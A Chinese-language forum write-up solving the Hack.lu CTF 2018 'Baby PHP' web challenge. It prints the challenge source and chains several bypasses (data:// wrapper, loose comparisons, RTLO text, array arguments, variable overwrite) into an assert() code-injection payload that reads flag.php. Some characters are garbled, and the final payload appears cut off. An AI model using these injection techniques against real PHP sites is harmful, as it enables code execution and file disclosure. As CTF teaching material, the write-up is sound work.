Hack.lu CTF 2018 - Baby PHP

ZO1RO / 2018-10-24 08:09:00 / 浏览数 2509 安全技术 CTF 顶(1) 踩(0)

题目描述

PHP is a popular general-purpose scripting language that is especially suited to web development.

Fast, flexible and pragmatic, PHP powers everything from your blog to the most popular websites in the world.

Can you untangle this mess?!

源码

```
<?php

require_once('flag.php');
error_reporting(0);


if(!isset($_GET['msg'])){
   highlight_file(__FILE__);
   die();
}

@$msg = $_GET['msg'];
if(@file_get_contents($msg)!=="Hello Challenge!"){
   die('Wow so rude!!!!1');
}

echo "Hello Hacker! Have a look around.\n";

@$k1=$_GET['key1'];
@$k2=$_GET['key2'];

$cc = 1337;$bb = 42;

if(intval($k1) !== $cc || $k1 === $cc){
   die("lol no\n");
}

if(strlen($k2) == $bb){
   if(preg_match('/^\d+■/', $k2) && !is_numeric($k2)){
       if($k2 == $cc){
           @$cc = $_GET['cc'];
       }
   }
}

list($k1,$k2) = [$k2, $k1];

if(substr($cc, $bb) === sha1($cc)){
   foreach ($_GET as $lel => $hack){
       $$lel = $hack;
   }
}

$b=1;//;"b"=a$;"2" = b

if($$a !== $k1){
   die("lel no\n");
}

// plz die now
assert_options(ASSERT_BAIL, 1);
assert("$bb == $cc");

echo "Good Job ;)";
```

```
// TODO
// echo $flag;
```

大致思路如下所示

```
msg bypassed
//php://input
k1==>key1 bypassed
//key1=1337
key2 bypassed
//■■■■■■get■■cc■■
$$a!==$k1 bypassed
//\u202e
//$■b=1;//;"b"=a$;"2" = b
//$k1=2
$cc bypassed
//array bypassed
$bb ■■■■■■
//■■■print flag
```

首先第一步进行msg bypassed

发现也可以用这种方法进行绕过

```
msg=data://text/plain,Hello%20Challenge!
```

参考链接

data://

然后进行k1==》key1 bypassed

ubuntu安装php环境进行测试

```
■■■■■php■
sudo apt-get purge `dpkg -l | grep php| awk '{print $2}' |tr "\n" " "`
■■PPA■
sudo add-apt-repository ppa:ondrej/php
■■PHP■■
sudo apt-get update
sudo apt-get install php5.6
■■php shell■■
php -a
```

进行测试

```
php > $cc=1337;
php > $k1='1337';
php > var_dump(intval($k1) !== $cc || $k1 === $cc);
bool(false)
```

bypassed

然后来到这题的亮点，在于$$a!==$k1，也就是如下代码

```
$b=1;//;"b"=a$;"2" = b

if($$a !== $k1){
■    die("lel no\n");
}
```

这里有一个小trick，参考 RTLO Trick

大致意思就是在文本前插入\u202e就会反向输出后续的字符
例如

```
//file.txt.exe■
//unicode■■
\u0066\u0069\u006c\u0065\u002e\u0074\u0078\u0074\u002e\u0065\u0078\u0065
//■■\u202e
\u0066\u0069\u006c\u0065\u002e\u202e\u0074\u0078\u0074\u002e\u0065\u0078\u0065
//unicode■■
```

```
//file.■txt.exe
```

```
$b=1;//;"b"=a$;"2"  =  b

if($$a  !==  $k1){
        die("lel  no\n");
}
```

也可以通过鼠标移动发现他是逆序的，从而逆推出代码

这里的代码示意如下

```
$b=1;//;"b"=a$;"2" = b
$■b=1;//;"b"=a$;"2" = b
```

故构造$k1=2即可bypassed

然后来到

```
if(substr($cc, $bb) === sha1($cc)){
   foreach ($_GET as $lel => $hack){
       $$lel = $hack;
   }
}
```

然后为了能get传参cc，我们必须bypassed 这一段

```
if(strlen($k2) == $bb){
   if(preg_match('/^\d+■/', $k2) && !is_numeric($k2)){
       if($k2 == $cc){
           @$cc = $_GET['cc'];
       }
   }
}
```

这里的$是美元符号，占三个字节，编码为\xEF\xBC\x84

可以看到这里构造的key2必须满足以美元符号结尾，且必须为非数字类型，且key2==$cc (1337)

```
php > $k2='0000000000000000000000000000000000001337■';
php > $bb=42;
php > var_dump(strlen($k2) == $bb);
bool(true)
php > var_dump(preg_match('/^\d+■/', $k2) && !is_numeric($k2));
bool(true)
php > var_dump($k2==$cc);
bool(true)
```

接下来就是简单的array bypassed

```
php > var_dump(strlen(sha1("a")));
int(40)
php >
var_dump(substr("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1231231aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",42));
string(40) "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
   php > var_dump(substr([], 42));
PHP Warning:  substr() expects parameter 1 to be string, array given in php shell code on line 1
NULL
php > var_dump(sha1([]));
PHP Warning:  sha1() expects parameter 1 to be string, array given in php shell code on line 1
NULL
php > var_dump(substr([], 42) === sha1([]));
PHP Warning:  substr() expects parameter 1 to be string, array given in php shell code on line 1
PHP Warning:  sha1() expects parameter 1 to be string, array given in php shell code on line 1
bool(true)
php > var_dump(substr([], 42) === sha1([]));
PHP Warning:  substr() expects parameter 1 to be string, array given in php shell code on line 1
PHP Warning:  sha1() expects parameter 1 to be string, array given in php shell code on line 1
bool(true)
```

之后的foreach含义即为get获取的参数覆盖全局变量

```
php > function action($a){foreach ($a as $lel => $hack){$$lel = $hack;echo $$lel;}}
php > $c=['123','456'];
php > action($c);
123456
```

可以看到

```
assert_options(ASSERT_BAIL, 1);
assert("$bb == $cc");
```

这里参考 assert_options

利用

```
assert("$bb == $cc");
```

通过注释掉后面的==$cc进行文件读取，构造

```
bb=show_source('flag.php');//
//■■
assert("show_source('flag.php');// == $cc");
```

最终payload为

```
/?msg=data://text/plain,Hello%20Challenge!&key1=1337&k1=2&key2=00000000000000000000000000000000001337%ef%bc%84&cc[]=&bb=show_
```


上一篇：记一份基础Metasploit教程 下一篇：利用C++和C#绕过AV检测

1. 0 条回复
   - 动动手指，沙发就是你的了！